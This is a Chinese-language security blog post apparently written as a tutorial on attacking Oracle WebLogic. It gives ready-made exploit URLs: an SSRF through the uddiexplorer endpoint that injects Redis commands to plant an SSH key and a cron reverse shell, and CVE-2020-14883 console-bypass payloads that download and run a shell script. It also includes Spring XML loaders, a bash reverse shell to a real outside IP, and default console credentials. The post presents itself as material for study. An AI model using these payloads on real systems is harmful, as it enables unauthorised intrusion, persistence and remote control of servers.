Weblogic漏洞

2024-03-23 1,030 0

中间件

web服务器应用(中间件):让一台计算机有处理网站的能力

常见的中间件有:apache   nginx  IIS  tomcat  weblogic   jboss

tomcat:由apache开发的轻量级javaee中间件(常见的javaee(java网站应用):servlet、jsp、spring、springboot)

weblogic:重量级javaee中间件

jboss:重量级javaee中间件

注:Java只有命令执行{Runtime.getRuntime().exec()},没有代码执行

weblogic特征

默认端口:7001
Web界面:Error 404--Not Found
控制后台:http://ip:7001/console

账号:weblogic
密码:Oracle@123

weblogic漏洞原因

weblogic有一个自研的T3算法,而这种算法高度依赖序列化和反序列化,所以不能采用白名单的方式,只能采用黑名单的方式进行拦截,比如:2022年的weblogic的payload中有hashmap这个特征,就会在黑名单中加入这个特征,以此来修补漏洞。之后再挖掘weblogic的漏洞就是重新找到他的绕过黑名单的方法,所以总结来说就是漏洞不变,想办法绕过黑名单。

weblogic漏洞绝大部分都是反序列化漏洞

序列化和反序列化是为了在网络中更好的传输java对象

序列化:内存中的Java对象---->字符串(jvm字节码(.class文件))

反序列化:字符串(jvm字节码(.class文件))---->内存中的Java对象

Ssrf漏洞

访问http://10.1.1.157:7001/console/login/LoginForm.jsp正常访问

访问http://10.1.1.157:7001/uddiexplorer/SearchPublicRegistries.jsp正常返回说明有/uddiexplorer/SearchPublicRegistries.jsp这个接口的ssrf漏洞

访问http://10.1.1.157:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:22&rdoSearch=name&btnSubmit=Search,返回

说明存在ssrf漏洞,并且已经探测到22端口

通过下面构造url将ssh公钥通过目标机器写道其他服务器上:

http://10.1.1.157:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.1.1.111:6379/hello%20HTTP/1.1%0d%0aset test "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClLfjZfhEz8i1Rg0iKNj3WGul+Vb0B7DK77uCYNxLrcTGT0kl+Chkeg2v2gpfCzuINm4nEwu0fznfoSlBtNhYpEgaiKDlKT3AAI6MyKFh5uIq332ihZ4kMO7NefvcMLbPL4XywgM/CnQc90YxDKHbEbjwZTgAzJsnRnCWfv4RzbV+Pq9agSUnURW8hWZ1lxAMFuOFmUBO4Ld5DCFQwUnS5YPJiYgjzks46DZT0n1onZIUh3XP601DGu2TPtuZLs43drjpVoFlOkXkQkFCYJTQQpe89lRl3xoi6lS8Bf+vdaQ5PnBBZDVYRm+NjRCCyWZDSSa5WiwvhcoGmpwl2eud/ root@K\n\n\n\n"%0d%0aconfig set dir /root/.ssh/%0d%0aconfig set dbfilename "authotrized_keys"%0d%0a%0d%0asave%0d%0aexit%0d%0asdsdd%0d%0a&rdoSearch=name&btnSubmit=Search

已经写到其他服务器上

写入计划任务

通过构造url:http://10.1.1.157:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.1.1.111:6379/test%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%20>%26%20%2Fdev%2Ftcp%2F124.71.45.28%2F1234%200>%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

写入计划任务

cve-2020-14883

第一种方法

访问http://x.x.xxx.x:7001/console/css/%252e%252e%252fconsole.portal出现下载页面表示存在此漏洞

访问http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")    出现以下页面表示命令执行成功

访问:http://8.141.89.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl http://8.141.89.1:8000/shell.sh -o /tmp/shell.sh');")   保存至目标机器

执行:http://8.141.89.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('bash /tmp/shell.sh');")  执行传入的shell

第二种方法

在攻击机上创建三个文件 shell.sh   shell.xml   shell1.xml

通过url获取的shell.sh文件

/bin/bash -i>& /dev/tcp/8.141.89.1/6666 0>&1

执行写入的shell.xml文件

<?xml version="1.0" encoding="UTF-8" ?>

<beans xmlns="http://www.springframework.org/schema/beans"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean init-method="start">

<constructor-arg>

<list>

<value>bash</value>

<value>-c</value>

<value><![CDATA[curl 8.141.89.1:8000/shell.sh -o /tmp/shell.sh]]></value>

</list>

</constructor-arg>

</bean>

</beans>

执行让目标写入的shell.sh通过bsah执行的xml文件

<?xml version="1.0" encoding="UTF-8" ?>

<beans xmlns="http://www.springframework.org/schema/beans"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean init-method="start">

<constructor-arg>

<list>

<value>bash</value>

<value>-c</value>

<value><![CDATA[bash /tmp/shell.sh]]></value>

</list>

</constructor-arg>

</bean>

</beans>

访问:http://8.141.89.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://8.141.89.1:8000/shell.xml")执行写入

访问:

http://8.141.89.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://8.141.89.1:8000/shell1.xml")执行写入的shell

获得shell


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论